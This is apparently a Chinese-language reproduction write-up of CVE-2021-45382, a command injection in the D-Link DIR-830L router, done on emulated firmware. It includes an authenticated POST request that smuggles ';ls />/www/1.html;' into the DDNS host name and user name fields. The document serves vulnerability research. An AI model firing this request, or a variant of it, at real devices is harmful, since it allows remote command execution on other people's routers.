git clone --recursive https://github.com/pr0v3rbs/FirmAE
cdFirmAE/./download.sh
https://legacy.us.dlink.com/pages/product.aspx?id=f5e0c0a1975a46bab0b5f38b22c5087b
cdbinwalk-2.3.3/python3setup.py install
执行如下命令对固件进行解压
binwalk -Me /root/DIR830LA1_FW100B07.bin --run-as=root
sudo ./run.sh -r DIR-830 /root/DIR830LA1_FW100B07.bin
Exp如下：
POST /ddns_check.ccp HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 102Origin: http://192.168.0.1Connection: closeCookie: uid=YnnCDFxmJY # 认证信息，此漏洞需要认证ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123123123
这里我们已经成功看到执行系统命令，并将ls /命令的结果写入1.html中，直接访问即可查看命令执行的效果。
原文始发于微信公众号（第59号）：D-Link DIR-830L 路由器命令执行漏洞（CVE-2021-45382）复现
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